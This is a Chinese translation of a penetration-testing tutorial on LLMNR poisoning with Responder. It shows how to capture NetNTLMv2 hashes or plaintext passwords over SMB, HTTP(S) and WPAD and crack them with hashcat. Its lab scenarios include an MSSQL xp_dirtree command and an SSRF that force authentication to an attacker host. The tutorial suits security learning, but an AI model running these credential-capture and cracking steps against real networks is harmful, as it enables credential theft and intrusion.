本文通过 Google 翻译 AD Recon – LLMNR Poisoning with Responder 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。

导航


0、前言

在这篇文章中,我们将介绍 LLMNR 毒化的概念。为了实施 LLMNR 投毒,我们将使用名为 Responder 的工具执行 MITM(中间人)攻击。使用此工具,我们将了解如何介入用户的 SMB、HTTP[S]、WPAD 和 DHCP 请求,从而捕获 NetNTLMv2 哈希值并使用 hashcat 去破解它。

此外,我们还将介绍 responder.py 的另外两个用例,它们更像 CTF,但仍然非常酷。

1、LLMNR 毒化简介

LLMNR 是基于 DNS 的 Windows 内置协议,用于解析局域网络上的主机名。该协议是 DNS 的备用协议,当 DNS 无法识别主机名时,系统会使用该协议尝试识别主机名。Windows 中有许多服务都依赖 DNS 来解析主机名,这也意味着会有许多服务可以在 DNS 和 LLMNR 请求之间进行切换。

注:LLMNR 类似于 mDNS,它们的工作原理基本相同,都是为了解决在局域网内无需 DNS 服务器也能解析主机名的需求(以多播的方式)。

只不过 LLMNR 是 Microsoft 自定义的协议在 Windows 系统中使用已久,而 mDNS 是 IETF 标准制定的协议在非 Windows 系统更常见。但 Windows 似乎也在逐渐弃用 LLMNR 而改用 mDNS 中。

Windows 下域名解析顺序:Hosts 文件 → DNS 缓存 → DNS 服务器 → LLMNR 多播 → NetBIOS 广播 → mDNS

LLMNR 的缺陷在于:它信任局域网中任何主机的响应,这导致它极易被滥用进行“名称欺骗”(Name Spoofing)和“中间人攻击”,从而间接触发身份验证并泄露 NTLM 凭据。【注:Windows 的“自动认证”机制更是加强了这种攻击的威力。】

注:Windows“自动认证”机制即,在非交互式的命令行或进程中进行共享资源的访问时,Windows 会自动使用当前用户缓存的 NTLM 哈希凭据向目标发起 NTLM 身份验证。

这种攻击有一个注意事项项就是,请求的域名/主机名必须得是 DNS 无法解析的名称,这意味着用户需要请求一个不存在的域名/主机名的资源。

Responder 是一种通过对 LLMNR、NBT-NS 和 mDNS 协议进行投毒来执行 MITM 攻击的工具,同时它还内置了许多常见的伪造服务器(如 SMB、LDAP、HTTP[S]、RDP、WinRM 等),来骗取前来请求的用户凭证。

注:Inveigh 是一个拥有和 Responder 类似功能的工具,可作为替代选项。

2、LLMNR 毒化(SMB)

2.1、Responder 如何毒害 SMB

  1. 受害者访问一个不存在的共享 \\printer\share 。【或在某些文件中嵌入的 UNC 路径】
  2. DNS 无法解析该名称,于是系统广播 LLMNR 进行查询 printer。
  3. 攻击者监听到查询并伪造响应,假称自己就是 printer。
  4. 受害者尝试连接攻击者提供的伪造服务 SMB。
  5. 受害者系统会使用当前用户凭据自动发起 NTLM 身份验证。
  6. 攻击者捕获 netNTLMv2 哈希并尝试破解。

2.2、Responder 启动设置

首先,使用 ip a 命令查看当前攻击机的哪张网卡和目标网络可通。

然后,使用如下命令启动 Responder:

responder -I eth0 -v

注:新版 Responder (3.1.4.0) 已取消 -rf 选项,但作者使用的 Responder 3.0.7.0 的版本支持此选项。

responder 默认会将重复捕获到的用户的 NetNTLM 哈希屏蔽掉,此时我们可以通过添加 -v 选项来取消屏蔽。取消屏蔽之后可能会看到同一个用户会对应很多不同的 NetNTLM 哈希,此时我们只需任选其一即可,最终破解的效果都是一样的。

2.3、Responder 捕获哈希:错误的共享

此时,我们假设用户在尝试访问名为“share”的共享时不小心输入错误,结果访问成“sahre”了会怎样。

在输入一个凭证后,用户将无法连接,并且由于资源不存在,将收到“无法访问”的错误消息。

然而,在用户看到弹出的登录框之前,损失就已经造成了。在用户输入共享名称并回车的那一刻,不管接下来用户面对弹出的登陆框输入账户密码还是不输入,用户都已经提供了它们当前账户的 NetNTLMv2 哈希值来验证共享,而 Responder 截获了该请求。

回到攻击者机器,我们看到 Responder 拦截了请求并转储了用户的名称、IP 地址和 NetNTLMv2 哈希。

虽然 NetNTLMv2 哈希值无法被用于传递哈希攻击,但可以尝试破解它。此外,还有一种方法可以利用它中继到另一台机器上,但这种方法我们会在后面的文章中再进行介绍。

3、LLMNR 毒化 (HTTP[S])

3.1、Responder 如何毒害 HTTP[S]

  • 受害者访问一个错误的 url 链接 http://test/https://test/
  • DNS 无法解析该名称,于是系统广播 LLMNR 进行查询 test。
  • 攻击者监听到查询并伪造响应,假称自己就是 test。
  • 受害者尝试连接攻击者提供的伪造服务 HTTP[S]。
  • 受害者系统会使用当前用户凭据自动发起 NTLM 身份验证。
  • 攻击者捕获 netNTLMv2 哈希并尝试破解。

3.2、Responder 启动设置

同上节一样,使用如下命令启动 Responder:

responder -I eth0

3.3、Responder 捕获用户哈希:错误的 URL

在 Responder 运行时,我们可以使用 Firefox 展示此示例,并查看当用户在输入错误的 URL 时会发生什么。

访问上述网址之后,用户将看到“警告:前方存在潜在安全风险”的消息。然而,这在内部网络中很常见,因为它们使用私有 SSL 证书托管其网站,这与 Responder 托管的证书相同。

在接受风险并继续正常操作后,回到 Responder 可以看到他们的 NetNTLMv2 哈希已被捕获。

3.4、直接抓取明文

此外,我们也可以为 Responder 添加 -b 选项以强制其使用基本身份验证功能。此时,用户在访问错误的 URL 时,会弹出一个登录提示框,用户在登陆框中输入的账户密码信息会在后台明文显示。但这种方式不够屏蔽,而且如果用户直接关闭提示,那么我们连目标当前用户的 NetNTLMv2 哈希也捕获不到了。

responder -I eth0 -b
  • '-b' = 返回基本 HTTP 身份验证(纯文本密码)。

继续刚才的 URL 访问,我们会看到一个登录提示窗口。

当输入账户密码,然后返回 Responder 时,可以看到我们获得了用户的明文密码!

4、LLMNR 毒化 (WPAD/DHCP)

(1)毒化 WPAD 是利用了 Windows 网络代理自动检测的功能,该功能默认启用,当浏览器打开时,浏览器会自动下载 http://wpad/wpad.dat 代理规则,而 wpad 这个域名在现实网络中是不存在的(即错误的域名),于是就会触发 LLMNR 广播寻找该域名,进而自动进入了 LLMNR 毒化 HTTP[S] 的流程,进而获得目标系统当前用户的 NetNTLMv2 哈希。

(2)毒化 DHCP 是利用了主机自动获取 IP 的特性,当目标主机自动获取 IP 时,Responder 会与真实的 DHCP 服务器抢夺分配 IP 权,如果 Responder 抢到了,那么分配给目标主机的信息中会包含 WPAD 相关的配置,于是就进入了上述的步骤。

注:WPAD 的毒化目前似乎只对 IE 浏览器有效果,对于 Chrome、Firefox、Edge 不产生作用,它们似乎有着独属于自己的自动检测代理功能,不再依赖 Windows 自带的 WPAD 功能。【WPAD 毒化的实验可参考这篇文章

DHCP 的毒化成功率似乎并不佳,此处不再阐述。

5、破解 NetNTLMv2 哈希

上面我们探索了三种不同的方法来使用 Responder 捕获用户 NetNTLMv2 哈希,但是可以用它们做什么呢?

首先,需要注意的是,Responder 会将其捕获的每个哈希转储一份在 /usr/share/responder/logs 目录,通过文件的名称我们可以直到该哈希是通过哪种方法捕获的。

最酷的是,这些文件中的哈希均已格式化,可以直接拿去让 Hashcat 进行破解!

为了找到此哈希类型所对应的 hashcat 破解模式,我们可以使用以下命令查询:

注:Responder 捕获到的不一定都是 NetNTLMv2,NetNTLMv1 也很常见。此外,其伪造的服务虽然大多都支持 NetNTLM 认证,但也有不支持的,如 FTP,捕获 FTP 的凭证时得到的就是明文显示,而不是哈希。

hashcat -h | grep -i "netntlmv2"

之后使用以下命令破解哈希:

hashcat -m 5600 /usr/share/responder/logs/HTTP-NTLMv2-172.16.1.100.txt /usr/share/wordlists/rockyou.txt -o cracked.txt

几秒钟后,哈希便被破解了!【注:破解成功时,其 Status 显示Cracked,否则是 Exhausted。】

6、场景示例

正如文章开头所说,我们还有两个通过使用 Responder 捕获哈希的例子需要展示,示例如下:

6.1、从 MSSQL 获取 NetNTLMv2 哈希

在这个例子中,假设我们得到了一个 MSSQL 的凭证(reporting),并使用 Impacket 套件中的 mssqlclient.py 工具成功登录到了目标的 MSSQL 数据库。

mssqlclient.py -p 1433 reporting@10.10.10.125 -windows-auth

同时,使用以下命令启动 Responder:

responder -I tun0

然后,通过在 SQL shell 中执行以下命令来转储 MSSQL 服务所有者的哈希:

exec master..xp_dirtree '\\10.10.14.2\test'

以上命令将尝试连接到攻击者机器上名为“test”的共享。当尝试连接共享时,MSSQL 服务会将服务启动账户的 NetNTLMv2 哈希值提交到攻击机,请求连接到我们的共享,此时 Responder 会拦截此请求并转储 NetNTLMv2 哈希值。

6.2、从 SSRF 漏洞获取 NetNTLMv2 哈希

SSRF(服务器端请求伪造)是一种网络安全漏洞,通过该漏洞攻击者可以强制服务器连接到任意外部系统,从而可能泄露授权凭据等敏感数据。

在这个例子中,我们发现目标站点提供了一个具有 URL 搜索功能的网页。

为了测试该网页是否存在 SSRF 漏洞,我们将在攻击机的 445 端口上启动一个 HTTP 服务器,然后尝试在搜索栏中访问它。

访问正常,这表明该服务器存在 SSRF 漏洞!

接着,我们在网页中访问一个不存在的资源,以期望 Responder 可以捕获网站所有者的 NetNTLMv2 哈希。

responder -I tun0

从上面可以看到,Responder 成功捕获到了用户的 NetNTLMv2 哈希。

AD 侦查-LLMNR 毒化的更多相关文章

  1. 超越LLMNR /NBNS欺骗 - 利用Active Directory集成的DNS

    利用名称解析协议中的缺陷进行内网渗透是执行中间人(MITM)攻击的常用技术.有两个特别容易受到攻击的名称解析协议分别是链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBNS).攻击者可以 ...

  2. 结合NTLM中继和Kerberos委派攻击AD

    0x00 前言 在上个月我深入演讲了无约束委派之后,本文将讨论一种不同类型的Kerberos委派:基于资源的约束委派.本文的内容基于Elad Shamir的Kerberos研究,并结合我自己的NTLM ...

  3. NetBIOS名称欺骗和LLMNR欺骗

    目录 LLMNR和NetBios 攻击原理 Responder 攻击过程 LLMNR和NetBios 什么是LLMNR和NetBIOS名称服务器广播? 当DNS名称服务器请求失败时,Microsoft ...

  4. Sharepoint2013 AD组用户不同步

    背景: SP2013列表库使用AD安全组授权访问,向AD安全组添加一个用户A,在Sharepoint AD同步(增量和完全)后,用户A仍然无法访问列表库:原因: 参考:安全令牌上的缓存  SP2013 ...

  5. freeradius整合AD域作anyconncet认证服务器

    一.服务器要求 Radius服务器:centos6.6.hostname.selinux  disabled.stop iptables AD域服务器:Windows Server 2008 R2 E ...

  6. 讲座:Modeling User Engagement for Ad and Search

    讲座:http://bdai.ruc.edu.cn/?p=118 Modeling User Engagement for Ad and Search ppt 链接: Dr. Ke(Adam) Zho ...

  7. Azure AD Connect 手动同步

    我们目前采用工具Azure AD Connect 目录同步工具将本地域控制器的用户信息同步至office365和Azure 在之前目录同步工具中使用Windows 任务计划程序或单独的 Windows ...

  8. SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问

    delphi ado 跨数据库访问 语句如下 ' and db = '帐套1' 报错内容是:SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATE ...

  9. 如何查看/统计当前AD域控制器的活动用户?

    最近公司想知道某台AD域控制器上当前连接了多少活动用户? 此前个人只知道以下不是非常完善且统计起来比较麻烦的方法: 方法1:查看共享会话数.(不完全准确) 方法2:查看当前的DNS记录.(这种方法统计 ...

  10. AD域-让共享目录只显示用户有权限访问的文件夹

    问题: 在AD域中,我们一般都会用到共享,如果有很多部门,我们可能还会按部门.职位配置权限.比如CSD,IT,PA等,但文件夹一多,用户看着就头大,而且用户没权限访问的文件夹误点击进去还会提示无权限访 ...

随机推荐

  1. MES生产制造管理系统-BI看板 MES大屏看板

    可视化看板最主要的目的是为了将生产状况透明化,让大家能够快速了解当前的生产状况以及进度,通过大数据汇总分析,为管理层做决策提供数据支撑,看板数据必须达到以下基本要求: 数据准确--真实反映生产情况 数 ...

  2. docker - [01] docker入门

    弱小和无知不是生存的障碍,傲慢才是. -- <三体> 一.相关链接 Docker官网:https://www.docker.com/ 文档地址:https://docs.docker.co ...

  3. SpringBoot - [07] Web入门

    题记部分 一.Web 入门   SpringBoot将传统Web开发的mvc.json.tomcat等框架整合,提供了spring-boot-starter-web组件,简化了Web应用配置.创建Sp ...

  4. FineReport - [01] 概述

    Gartner报表平台全球市场唯一入选国产软件! 一.FineReport 是什么?有什么用途? FineReport 是一款企业级Web报表工具,由帆软自主研发,秉持零编码的理念,易学易用且功能强大 ...

  5. Docker安装与镜像加速器的配置

    Docker简介 百科说:Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机 ...

  6. 机器学习 | 强化学习(8) | 探索与开发(Exploration and Exploitation)

    8-探索与开发(Exploration and Exploitation) 1.导论 探索与开发二难问题 基于决策的决策过程存在以下两种选择 开发:基于目前的学习做最优的决策 探索:获取更多的学习 最 ...

  7. python3 报错ModuleNotFoundError: No module named 'apt_pkg'

    前言 apt update无法执行,python3 报错 ModuleNotFoundError: No module named 'apt_pkg' 这是因为将 python 版本升级后的问题 正确 ...

  8. Linux ab详解

    前言 ab是apachebench命令的缩写,ab是apache自带的压力测试工具.ab非常实用,它不仅可以对apache服务器进行网站访问压力测试,也可以对或其它类型的服务器进行压力测试.比如ngi ...

  9. selenium自动化测试-登录网站用户

    昨天学习了selenium自动化测试工具的入门,知道了Selenium是用于自动化控制浏览器做各种操作,打开网页,点击按钮,输入表单等等. 今天学习通过selenium自动化测试工具自动登录某网站用户 ...

  10. 一个属性同时使用Autowired和Resource注解会发生什么?

    首发于公众号:BiggerBoy 右侧图片wx扫码关注有惊喜 欢迎关注,查看更多技术文章 如题,如果在同一个属性上使用@Autowired注解注入bean1,然后使用@Resource注解注入bean ...